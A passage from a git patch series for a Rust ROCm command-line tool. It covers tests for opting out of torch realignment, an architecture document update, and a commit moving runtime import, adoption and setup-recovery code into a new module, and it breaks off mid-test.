Some("rocm7.13.0"), + "vllm", + Ok(&probe), + ); + + assert_eq!( + outcome, + TorchAlignment::Disabled { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.9.0+cpu".to_owned(), + } + ); + } + + /// Unset, the rewrite is attempted as usual. + /// + /// Paired with the test above so the opt-out cannot appear to work for an + /// unrelated reason. The index is withheld here on purpose: it is the first + /// thing read after the gate, so the call stops there rather than reaching a + /// real install, and the outcome still tells the two paths apart. + #[test] + fn alignment_runs_unless_the_variable_is_set() { + let mut env = ScopedTestEnv::new(); + env.clear("ROCM_CLI_DISABLE_TORCH_ALIGNMENT"); + let probe = therock::TorchAlignmentProbe { + installed_torch: Some("2.9.0+cpu".to_owned()), + engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), + }; + + let outcome = align_runtime_torch( + &test_app_paths(), + Path::new("/nonexistent/python"), + None, + Some("rocm7.13.0"), + "vllm", + Ok(&probe), + ); + + assert_eq!( + outcome, + TorchAlignment::NotApplicable( + "the runtime manifest records no wheel index to install from".to_owned() + ), + "the opt-out must not fire when the variable is unset" + ); + } + + /// Opting out of a rewrite that was never due reports the runtime as it is. + /// + /// `Disabled` says a replacement was declined. On a runtime already holding + /// the SDK's build there was none to decline, and saying otherwise would send + /// the reader looking for a torch that was spared when nothing was. + #[test] + fn disabling_alignment_over_an_aligned_runtime_still_reports_it_aligned() { + let mut env = ScopedTestEnv::new(); + env.set("ROCM_CLI_DISABLE_TORCH_ALIGNMENT", "1"); + let probe = therock::TorchAlignmentProbe { + installed_torch: Some("2.11.0+rocm7.13.0".to_owned()), + engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), + }; + + let outcome = align_runtime_torch( + &test_app_paths(), + Path::new("/nonexistent/python"), + Some("https://example.invalid/simple"), + Some("rocm7.13.0"), + "vllm", + Ok(&probe), + ); + + assert_eq!( + outcome, + TorchAlignment::AlreadyAligned { + version: "2.11.0+rocm7.13.0".to_owned(), + } + ); + } + + /// The kept torch is a deliberate divergence, and the remedy is not reinstall. + /// + /// The engine's pin is unsatisfied on purpose here, so reporting a violation + /// would answer the user's instruction with an error — and the remedy that + /// comes with it, `--reinstall`, is the one action that would undo the very + /// decision they made. + #[test] + fn a_disabled_alignment_diverges_on_torch_without_offering_a_reinstall() { + let outcome = TorchAlignment::Disabled { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.9.0+cpu".to_owned(), + }; + assert_eq!(deliberately_diverged_package(&outcome), Some("torch")); + + let rendered = render_torch_alignment(&outcome, "vllm", None); + assert!( + rendered.contains(" torch_alignment: disabled\n"), + "the block has to name the state, got {rendered:?}" + ); + assert!( + rendered.contains( + "ROCM_CLI_DISABLE_TORCH_ALIGNMENT is set; keeping 2.9.0+cpu rather than installing 2.11.0+rocm7.13.0" + ), + "the block has to name the variable and both builds, got {rendered:?}" + ); + + let dependencies = classify_dependency_details( + vec![ + "The package `vllm` requires `torch==2.11.0+gitd0c8b1f`, but `2.9.0+cpu` is installed".to_owned(), + ], + deliberately_diverged_package(&outcome), + ); + assert!(matches!( + dependencies, + EngineDependencyCheck::ExpectedDivergence(_) + )); + let rendered = render_engine_dependency_check("vllm", &dependencies); + assert!( + !rendered.contains("--reinstall"), + "the remedy would undo the opt-out, got {rendered:?}" + ); + } +} diff --git a/docs/architecture.md b/docs/architecture.md index 200f88364e..b32e8042d0 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -62,7 +62,8 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`model_fit.rs`](../apps/rocm/src/model_fit.rs) — mechanical relocation, owns a `pub(crate)` type: answering whether a host can run a model for `rocm diagnose --model` (`assess_model_on_this_host`, `assess_model_with_host_paths`, `assess_model_for_host`), the accelerator-memory fact it rests on (`host_accelerator_memory`, `classify_accelerator_memory`, `examination_reports_amd_gpu`) and the platform gate that rules an engine out (`PlatformRuleOut`, `engine_ruled_out_by_platform`, `unsupported_here_for`). It is a module of its own, rather than part of the `diagnose` handler, so [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs), which reads `PlatformRuleOut` and `engine_ruled_out_by_platform`, does not depend on a command module. It depends on [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) (`select_serve_engine`) and [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs), neither of which depends on it. `assess_model_on_this_host` (called from [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs)), `PlatformRuleOut` and `engine_ruled_out_by_platform` are `pub(crate)`, and [`main.rs`](../apps/rocm/src/main.rs) re-imports the last two so `examine_report_text.rs` reaches them as `crate::`; every other item is private. The cluster's regression tests live in this module's own `mod tests`; the one that re-runs the test binary on a helper test by its full path (`engine_ruled_out_by_platform_gates_aim_on_docker_reachability`) names the helper's new path, `model_fit::tests::docker_unreachable_subprocess_helper`. - [`provider_keys.rs`](../apps/rocm/src/provider_keys.rs) — full domain extraction. - [`providers.rs`](../apps/rocm/src/providers.rs) — full domain extraction (no dedicated command enum; invoked from the existing chat/config command flows). -- [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install — torch alignment, engine-dependency checks, and device checks. `SdkInstallConsents` is `pub(crate)` and read from `install_cmd.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `install_cmd.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. +- [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install: the orchestration (`finish_sdk_install`, `settle_engine_install`, `finalize_successful_sdk_install`), the engine-dependency check, the runtime device check and the post-install verdict built on it, and `SdkInstallConsents`. The torch alignment and retention it runs live in the child module [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs). `SdkInstallConsents` is `pub(crate)` and read from `main.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `main.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. +- [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs) — full domain extraction, a child of `runtime_install_finalize.rs` that depends on its parent's device check (`RuntimeDeviceCheck`, `device_check_verdict`) and on `runtime_manifest_for_selector` in [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): what to do about the torch an engine install finds in a managed runtime. `plan_torch_alignment` decides whether the SDK's torch must be realigned to the engine's pin, `align_runtime_torch` runs the realignment, `classify_retained_torch` decides when a torch that already works is kept as an intended divergence instead, and the `render_*` and `report_*` functions with `TorchAlignment` and `TorchRetention` print and log the outcome. The manifest readers (`sdk_torch_build_for_key`, `sdk_torch_build_from_manifest`, `runtime_python_for_key`, `runtime_library_paths_for_key`, `runtime_index_url_for_key`) live here too. The parent stays the caller (`settle_engine_install` and `maybe_auto_install_sdk_preferred_engine`), so it could not be a crate-level sibling without a cycle with the parent's device check. The items the parent calls are `pub(super)`: `TorchAlignment`, `TorchRetention`, `report_torch_alignment`, `report_torch_retention`, `classify_retained_torch`, `retained_diverged_package`, `deliberately_diverged_package`, `sdk_torch_build_for_key`, `runtime_python_for_key` and `runtime_library_paths_for_key`; the rest is private. Its tests cover planning, rendering, the opt-out and the retention rules, and reach the parent's private engine-dependency check as a descendant of it. - [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. - [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) — full domain extraction; reads the live local servers at activation time, classifies each against the runtime being activated, renders the report, and moves stale ones with `--restart-services`. `fn runtimes()` lives in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) and `RuntimesCommand` in [`main.rs`](../apps/rocm/src/main.rs); this file owns `ServiceRuntimeState`/`RuntimeServiceEntry`/`FailedServiceRestart`/`UnconfirmedServiceRestart`/`ServiceRestartOutcome`/`RuntimeServiceReconciliation`/`ServiceRuntimePin`, reached from `runtimes_cmd.rs` via `crate::runtime_services`. - [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback/uninstall/import/adopt handlers, plus the runtime list rendering; registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` and `ActiveRuntimeMarker` are `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary` and from [`storage.rs`](../apps/rocm/src/storage.rs) respectively; `normalize_path_for_compare`/`recover_setup_runtime_registration` are also `pub(crate)`, read from other modules such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) and [`comfyui.rs`](../apps/rocm/src/comfyui.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. From 9c477384c943e672f7fbeaa0ea0fbaed82bb1c37 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 2 Nov 2026 18:12:32 +0000 Subject: [PATCH 06/12] refactor(rocm): move runtime import, adopt and setup recovery out of runtimes_cmd.rs into runtime_adopt.rs Step 6 of 7. runtime_adopt.rs holds what registers a runtime that `rocm install sdk` did not install: import_runtime_manifest, the adopt request, options and probe functions with their helpers (normalize_adopt_channel, runtime_key_component, resolve_adopt_python_input, infer_python_env_root, absolute_existing_file_path_preserving_symlink, parse_therock_runtime_id, write_runtime_registry_manifest), recover_setup_runtime_registration, newest_installed_runtime_manifest and setup_runtime_paths. paths_equivalent and normalize_path_for_compare move to runtime_registry.rs: adopt and uninstall both need them, and leaving them in runtimes_cmd.rs would make runtime_adopt and runtimes_cmd a cycle. runtime_adopt.rs depends on runtime_registry.rs and therock.rs, not on runtimes_cmd.rs. Moved code is identical apart from the edits below. Non-move edits: - Visibility: import_runtime_manifest, AdoptRuntimeOptions, adopt_runtime_from_python_options, AdoptRuntimeRequest and adopt_runtime_from_probe become pub(crate), and so do the fields of the two structs, because runtimes() builds the options and two tests that stay in runtimes_cmd.rs build the request. paths_equivalent and normalize_path_for_compare become pub(crate) in runtime_registry.rs. - runtimes_cmd.rs re-exports newest_installed_runtime_manifest, recover_setup_runtime_registration and setup_runtime_paths from runtime_adopt, and normalize_path_for_compare from runtime_registry, so engines_cmd.rs, engine_runtime_select.rs, examine_report_text.rs, runtime_install_finalize.rs, main.rs and the therock.rs test keep their imports. It imports the three adopt names runtimes() calls and paths_equivalent privately, and drops the two rocm_core imports only the moved code used. - runtime_adopt.rs takes the registry names it needs (manifest paths, activation validation, paths_equivalent) from runtime_registry directly, not through runtimes_cmd. - Seven tests move with the code. Three tests that mix the moved functions with activation, list rendering or uninstall stay in runtimes_cmd.rs, which imports AdoptRuntimeRequest and adopt_runtime_from_probe for its tests; moving them would give runtime_adopt's tests a dependency on runtimes_cmd. - Module docs: the runtimes_cmd.rs and runtime_registry.rs headers name the new module; the claim in runtimes_cmd.rs's header that comfyui.rs reads normalize_path_for_compare and recover_setup_runtime_registration from it was not true (comfyui.rs imports runtime_usability_status) and is replaced by the real list of re-exports. docs/architecture.md gets an entry for the new file and updated runtimes_cmd.rs and runtime_registry.rs entries. The leaf-name test list is unchanged. Signed-off-by: Jussi Elo --- apps/rocm/src/main.rs | 1 + apps/rocm/src/runtime_adopt.rs | 822 +++++++++++++++++++++++++++++ apps/rocm/src/runtime_registry.rs | 28 +- apps/rocm/src/runtimes_cmd.rs | 839 +----------------------------- docs/architecture.md | 5 +- 5 files changed, 871 insertions(+), 824 deletions(-) create mode 100644 apps/rocm/src/runtime_adopt.rs diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 0fd5ae0a6a..fa1c83a707 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -45,6 +45,7 @@ mod model_fit; mod provider_keys; mod providers; mod remote; +mod runtime_adopt; mod runtime_install_finalize; mod runtime_registry; mod runtime_services; diff --git a/apps/rocm/src/runtime_adopt.rs b/apps/rocm/src/runtime_adopt.rs new file mode 100644 index 0000000000..549753818a --- /dev/null +++ b/apps/rocm/src/runtime_adopt.rs @@ -0,0 +1,822 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! Registering a runtime that was not installed by `rocm install sdk`: +//! importing a manifest written elsewhere, adopting an existing Python +//! environment by probing it, and recovering the registration of the runtime +//! `rocm setup` created. +//! +//! Relocated from `runtimes_cmd.rs` with no behavior change. `runtimes_cmd.rs` +//! calls into this module for `rocm runtimes import` and `rocm runtimes adopt`, +//! and re-exports `newest_installed_runtime_manifest`, +//! `recover_setup_runtime_registration` and `setup_runtime_paths` for the +//! modules that import them from there. The path comparison both adopt and +//! uninstall need lives in `runtime_registry.rs`, so this module does not +//! depend on `runtimes_cmd.rs`. + +use std::fs; +use std::path::{Path, PathBuf}; + +use anyhow::{Context, Result, bail}; +use rocm_core::{AppPaths, RocmCliConfig, managed_pip_cache_dir, runtime_python_executable_in_env}; + +use crate::runtime_registry::{ + paths_equivalent, runtime_manifest_path, runtime_registry_dir, + validate_runtime_manifest_for_activation, +}; +use crate::therock; + +pub(crate) fn import_runtime_manifest( + paths: &AppPaths, + manifest_path: &Path, + replace: bool, +) -> Result { + let bytes = fs::read(manifest_path) + .with_context(|| format!("failed to read {}", manifest_path.display()))?; + let mut manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", manifest_path.display()))?; + if manifest.runtime_key.trim().is_empty() { + bail!( + "runtime manifest {} has an empty runtime_key", + manifest_path.display() + ); + } + if manifest.runtime_id.trim().is_empty() { + bail!( + "runtime manifest {} has an empty runtime_id", + manifest_path.display() + ); + } + + manifest.read_only = true; + manifest.imported_from = Some( + manifest_path + .canonicalize() + .unwrap_or_else(|_| manifest_path.to_path_buf()), + ); + validate_runtime_manifest_for_activation(&manifest) + .with_context(|| format!("imported runtime `{}` is not usable", manifest.runtime_key))?; + + write_runtime_registry_manifest(paths, &manifest, replace)?; + + Ok(manifest) +} + +pub(crate) fn newest_installed_runtime_manifest( + paths: &AppPaths, +) -> Result> { + // `load_runtime_manifests` already returns newest install first with ties + // broken on the runtime key, so re-sorting here would be a no-op. + Ok(therock::load_runtime_manifests(paths)?.into_iter().next()) +} + +#[derive(Debug, Clone)] +pub(crate) struct AdoptRuntimeRequest { + pub(crate) python_executable: PathBuf, + pub(crate) install_root: PathBuf, + pub(crate) runtime_id: String, + pub(crate) runtime_key: String, + pub(crate) replace: bool, +} + +#[derive(Debug, Clone)] +pub(crate) struct AdoptRuntimeOptions { + pub(crate) python_input: PathBuf, + pub(crate) install_root: Option, + pub(crate) runtime_id: Option, + pub(crate) runtime_key: Option, + pub(crate) channel: Option, + pub(crate) replace: bool, +} + +pub(crate) fn adopt_runtime_from_python_options( + paths: &AppPaths, + options: AdoptRuntimeOptions, +) -> Result { + let (python_executable, inferred_root) = resolve_adopt_python_input(&options.python_input)?; + let probe = therock::probe_rocm_sdk_runtime(&python_executable) + .with_context(|| format!("failed to probe {}", python_executable.display()))?; + let request = infer_adopt_runtime_request( + python_executable, + options.install_root.or(inferred_root), + options.runtime_id, + options.runtime_key, + options.channel, + options.replace, + &probe, + )?; + adopt_runtime_from_probe(paths, request, probe) +} + +fn infer_adopt_runtime_request( + python_executable: PathBuf, + install_root: Option, + runtime_id: Option, + runtime_key: Option, + channel: Option, + replace: bool, + probe: &therock::RocmSdkPythonProbe, +) -> Result { + let install_root = install_root.with_context(|| { + format!( + "could not infer the Python environment folder from {}; pass --root", + python_executable.display() + ) + })?; + let runtime_id = match runtime_id { + Some(value) if !value.trim().is_empty() => { + if let Some(channel) = channel.as_deref() { + let (parsed_channel, _) = parse_therock_runtime_id(&value)?; + let requested_channel = normalize_adopt_channel(channel)?; + if parsed_channel != requested_channel { + bail!( + "--channel {requested_channel} does not match runtime id channel {parsed_channel}" + ); + } + } + value + } + Some(_) => bail!("runtime_id must not be empty"), + None => { + let channel = normalize_adopt_channel(channel.as_deref().unwrap_or("release"))?; + let family = probe + .resolved_target_family + .as_deref() + .or(probe.default_target_family.as_deref()) + .filter(|value| !value.trim().is_empty()) + .context( + "rocm_sdk probe did not report a GPU package; pass --runtime-id explicitly", + )?; + format!("therock-{channel}:{family}") + } + }; + let runtime_key = match runtime_key { + Some(value) if !value.trim().is_empty() => value, + Some(_) => bail!("runtime_key must not be empty"), + None => { + let (channel, family) = parse_therock_runtime_id(&runtime_id)?; + let version = probe + .rocm_sdk_version + .as_deref() + .filter(|value| !value.trim().is_empty()) + .context("rocm_sdk probe did not report a version; cannot name adopted runtime")?; + format!( + "adopted-{channel}-pip-{}-{}", + runtime_key_component(&family), + runtime_key_component(version) + ) + } + }; + Ok(AdoptRuntimeRequest { + python_executable, + install_root, + runtime_id, + runtime_key, + replace, + }) +} + +fn normalize_adopt_channel(channel: &str) -> Result { + match channel.trim().to_ascii_lowercase().as_str() { + "release" => Ok("release".to_owned()), + "nightly" => Ok("nightly".to_owned()), + other => bail!("adopt channel must be release or nightly, got `{other}`"), + } +} + +fn runtime_key_component(value: &str) -> String { + let mut output = String::new(); + let mut last_dash = false; + for ch in value.chars() { + if ch.is_ascii_alphanumeric() { + output.push(ch.to_ascii_lowercase()); + last_dash = false; + } else if !last_dash { + output.push('-'); + last_dash = true; + } + } + let trimmed = output.trim_matches('-').to_owned(); + if trimmed.is_empty() { + "runtime".to_owned() + } else { + trimmed + } +} + +fn resolve_adopt_python_input(input: &Path) -> Result<(PathBuf, Option)> { + let absolute = if input.is_absolute() { + input.to_path_buf() + } else { + std::env::current_dir() + .context("failed to resolve current directory")? + .join(input) + }; + if absolute.is_dir() { + let env_root = absolute.canonicalize().with_context(|| { + format!( + "failed to resolve Python environment folder {}", + absolute.display() + ) + })?; + let python = runtime_python_executable_in_env(&env_root); + if !python.is_file() { + bail!( + "Python executable is missing in {}", + python.parent().unwrap_or(env_root.as_path()).display() + ); + } + return Ok((python, Some(env_root))); + } + if absolute.is_file() { + let inferred_root = infer_python_env_root(&absolute); + return Ok((absolute, inferred_root)); + } + bail!( + "Python executable or folder is missing: {}", + absolute.display() + ); +} + +fn infer_python_env_root(python_executable: &Path) -> Option { + let bin_dir = python_executable.parent()?; + let bin_name = bin_dir.file_name()?.to_string_lossy(); + if bin_name.eq_ignore_ascii_case("Scripts") || bin_name == "bin" { + return bin_dir.parent().map(Path::to_path_buf); + } + bin_dir.parent().map(Path::to_path_buf) +} + +pub(crate) fn adopt_runtime_from_probe( + paths: &AppPaths, + request: AdoptRuntimeRequest, + probe: therock::RocmSdkPythonProbe, +) -> Result { + if request.runtime_key.trim().is_empty() { + bail!("runtime_key must not be empty"); + } + if request.runtime_id.trim().is_empty() { + bail!("runtime_id must not be empty"); + } + let python_executable = absolute_existing_file_path_preserving_symlink( + &request.python_executable, + "runtime Python executable", + )?; + let install_root = request.install_root.canonicalize().with_context(|| { + format!( + "runtime install root is missing: {}", + request.install_root.display() + ) + })?; + if !install_root.is_dir() { + bail!( + "runtime install root is missing: {}", + install_root.display() + ); + } + let (channel, family) = parse_therock_runtime_id(&request.runtime_id)?; + therock::validate_rocm_sdk_runtime_probe(&probe)?; + let version = probe + .rocm_sdk_version + .as_deref() + .filter(|value| !value.trim().is_empty()) + .context("rocm_sdk probe did not report a version; cannot adopt runtime explicitly")? + .to_owned(); + + let manifest = therock::InstalledRuntimeManifest { + runtime_key: request.runtime_key, + runtime_id: request.runtime_id, + channel, + format: "wheel".to_owned(), + family, + family_source: "runtime_id".to_owned(), + version, + install_root: install_root.clone(), + selected_artifact_url: "adopted-read-only".to_owned(), + source_layout_generation: None, + index_url: None, + tarball_file_name: None, + python_launcher: None, + python_executable: Some(python_executable.display().to_string()), + pip_cache_dir: None, + // The probe only reports a CMake path when the `devel` packages are + // present, so it tells us what this pre-existing environment has. + devel: probe.cmake_path.is_some(), + rocm_sdk: Some(probe), + // Adoption does not install torch, so the build is derived from the SDK + // version instead. + sdk_torch: None, + wheel_composition: None, + read_only: true, + imported_from: Some(install_root), + installed_at_unix_ms: rocm_core::unix_time_millis(), + }; + validate_runtime_manifest_for_activation(&manifest) + .with_context(|| format!("adopted runtime `{}` is not usable", manifest.runtime_key))?; + write_runtime_registry_manifest(paths, &manifest, request.replace)?; + Ok(manifest) +} + +fn absolute_existing_file_path_preserving_symlink(path: &Path, label: &str) -> Result { + let absolute = if path.is_absolute() { + path.to_path_buf() + } else { + std::env::current_dir() + .context("failed to resolve current directory")? + .join(path) + }; + if !absolute.is_file() { + bail!("{label} is missing: {}", absolute.display()); + } + Ok(absolute) +} + +fn parse_therock_runtime_id(runtime_id: &str) -> Result<(String, String)> { + let (prefix, family) = runtime_id.split_once(':').with_context(|| { + format!("runtime_id `{runtime_id}` must include a TheRock family suffix after ':'") + })?; + let family = family.trim(); + if family.is_empty() { + bail!("runtime_id `{runtime_id}` has an empty TheRock family suffix"); + } + let channel = match prefix.trim() { + "therock-release" => "release", + "therock-nightly" => "nightly", + other => bail!( + "runtime_id `{runtime_id}` must start with therock-release: or therock-nightly:, got `{other}`" + ), + }; + Ok((channel.to_owned(), family.to_owned())) +} + +fn write_runtime_registry_manifest( + paths: &AppPaths, + manifest: &therock::InstalledRuntimeManifest, + replace: bool, +) -> Result<()> { + let manifest = manifest.clone().normalize_storage_paths(); + let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); + if registry_path.exists() && !replace { + bail!( + "runtime registry entry already exists: {}; pass --replace to overwrite it", + registry_path.display() + ); + } + fs::create_dir_all( + registry_path + .parent() + .context("runtime registry path has no parent directory")?, + )?; + fs::write( + ®istry_path, + serde_json::to_vec_pretty(&manifest) + .context("failed to serialize runtime registry manifest")?, + ) + .with_context(|| format!("failed to write {}", registry_path.display()))?; + Ok(()) +} + +pub(crate) fn recover_setup_runtime_registration( + paths: &AppPaths, + config: &RocmCliConfig, +) -> Result> { + let Some(setup_root) = config + .setup + .therock_venv + .as_deref() + .filter(|path| !path.as_os_str().is_empty()) + else { + return Ok(None); + }; + if !setup_root.is_dir() { + return Ok(None); + } + + let local_manifest_path = setup_root.join(".rocm-cli-runtime.json"); + if !local_manifest_path.is_file() { + return Ok(None); + } + + let bytes = fs::read(&local_manifest_path) + .with_context(|| format!("failed to read {}", local_manifest_path.display()))?; + let manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", local_manifest_path.display()))?; + if manifest.runtime_key.trim().is_empty() { + bail!( + "setup runtime manifest {} has an empty runtime_key", + local_manifest_path.display() + ); + } + if !paths_equivalent(&manifest.install_root, setup_root) { + bail!( + "setup runtime manifest {} points at {}, but setup is configured for {}", + local_manifest_path.display(), + manifest.install_root.display(), + setup_root.display() + ); + } + validate_runtime_manifest_for_activation(&manifest).with_context(|| { + format!( + "setup runtime `{}` from {} is not usable", + manifest.runtime_key, + local_manifest_path.display() + ) + })?; + + if !runtime_manifest_path(paths, &manifest.runtime_key).is_file() { + write_runtime_registry_manifest(paths, &manifest, false).with_context(|| { + format!( + "failed to restore setup runtime `{}` into {}", + manifest.runtime_key, + runtime_registry_dir(paths).display() + ) + })?; + } + Ok(Some(manifest.runtime_key)) +} + +/// The folder setup was configured for and its pip cache — the pair both +/// `examine` forms report. Shared so the two cannot name different folders. +/// +/// An empty configured path counts as unset, matching +/// `recover_setup_runtime_registration`'s own guard: `config.json` is +/// hand-editable, and `managed_pip_cache_dir("")` is a bogus relative path. +pub(crate) fn setup_runtime_paths(config: &RocmCliConfig) -> Option<(&Path, PathBuf)> { + let root = config + .setup + .therock_venv + .as_deref() + .filter(|path| !path.as_os_str().is_empty())?; + Some((root, managed_pip_cache_dir(root))) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::test_support::write_test_pip_runtime; + use crate::tests::test_paths; + + #[test] + fn runtime_import_refuses_to_overwrite_without_replace() -> Result<()> { + let (root, paths) = test_paths("runtime-import-replace"); + let manifest = write_test_pip_runtime( + &paths, + "external-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let exported_manifest = root.join("external-runtime.json"); + fs::write(&exported_manifest, serde_json::to_vec_pretty(&manifest)?)?; + + let error = import_runtime_manifest(&paths, &exported_manifest, false) + .unwrap_err() + .to_string(); + + assert!(error.contains("already exists")); + import_runtime_manifest(&paths, &exported_manifest, true)?; + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + /// The other half of the same derivation: an adopted environment that does + /// expose a CMake path has the toolchain, and the manifest must say so or + /// the next `rocm update` would quietly reinstall without it. + #[test] + fn runtime_adopt_records_devel_when_the_probe_finds_cmake() -> Result<()> { + let (root, paths) = test_paths("runtime-adopt-devel"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + let sdk_root = external_root + .join("Lib") + .join("site-packages") + .join("rocm_sdk"); + let sdk_bin = sdk_root.join("bin"); + let cmake_path = sdk_root.join("lib").join("cmake"); + fs::create_dir_all(&scripts_dir)?; + fs::create_dir_all(&sdk_bin)?; + fs::create_dir_all(&cmake_path)?; + let amdhip = sdk_bin.join(if cfg!(windows) { + "amdhip64_7.dll" + } else { + "libamdhip64.so" + }); + let hipblas = sdk_bin.join(if cfg!(windows) { + "hipblas.dll" + } else { + "libhipblas.so" + }); + fs::write(&python_executable, "python")?; + fs::write(&amdhip, "amdhip")?; + fs::write(&hipblas, "hipblas")?; + + let adopted = adopt_runtime_from_probe( + &paths, + AdoptRuntimeRequest { + python_executable, + install_root: external_root, + runtime_id: "therock-release:gfx120X-all".to_owned(), + runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), + replace: false, + }, + therock::RocmSdkPythonProbe { + import_ok: true, + rocm_sdk_version: Some("7.13.0".to_owned()), + root_path: Some(sdk_root.clone()), + bin_path: Some(sdk_bin.clone()), + cmake_path: Some(cmake_path), + runtime_roots: vec![sdk_root], + bin_paths: vec![sdk_bin.clone()], + library_paths: vec![sdk_bin], + resolved_libraries: vec![ + therock::RocmSdkLibraryProbe { + shortname: "amdhip64".to_owned(), + paths: vec![amdhip], + }, + therock::RocmSdkLibraryProbe { + shortname: "hipblas".to_owned(), + paths: vec![hipblas], + }, + ], + resolved_target_family: Some("gfx120X-all".to_owned()), + ..therock::RocmSdkPythonProbe::default() + }, + )?; + + assert!( + adopted.devel, + "a probe reporting a CMake path must record the toolchain" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_adopt_request_infers_ids_from_probe() -> Result<()> { + let (root, _) = test_paths("runtime-adopt-infer"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + fs::create_dir_all(&scripts_dir)?; + fs::write(&python_executable, "python")?; + + let request = infer_adopt_runtime_request( + 